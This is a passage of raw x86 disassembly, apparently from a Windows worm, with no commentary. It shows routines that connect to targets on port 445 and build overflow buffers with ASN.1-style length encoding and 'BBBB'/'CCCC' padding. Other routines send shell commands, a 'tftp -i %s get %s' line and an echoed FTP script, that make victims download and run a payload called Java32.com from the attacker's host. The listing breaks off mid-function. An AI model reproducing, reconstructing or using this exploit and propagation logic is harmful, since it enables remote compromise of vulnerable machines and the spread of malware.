		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A380
		mov	esi, offset aJava32_com	; "Java32.com"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_438FAC
		push	[ebp+arg_0]
		call	sub_40A155
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	ds:dword_421060
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829


loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------


loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_43A380
		push	ebx
		call	ds:dword_43A400
		mov	al, 1


loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D50
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155B0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CD0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CD0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155B0
		mov	ax, word ptr ds:dword_438F90
		add	esp, 2Ch
		push	eax
		call	ds:dword_43A368
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155B0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415550
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155B0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155B0
		add	esp, 40h
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415550
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415550
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415550
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155B0
		mov	eax, ds:dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415550
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE


loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------


loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155B0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155B0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155B0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------


loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155B0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155B0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	ds:dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: seg000:00402FC3p
					; seg000:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41407E
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415550
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_43A3A8
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	ds:dword_43A368
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_43A3E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A380
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A380
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A380
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A


loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------


loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------


loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1


loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8


loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1


loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	ds:dword_43A400
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax


loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90


loc_403E8D:				; CODE XREF: seg000:00403E87j
		push	1
		pop	eax


loc_403E90:				; CODE XREF: seg000:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415550
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415550
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E1D
		pop	ecx


loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77


loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415550
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------


loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E1D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FA4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DA9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------


loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415550
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1


loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CD0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD


loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: seg000:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
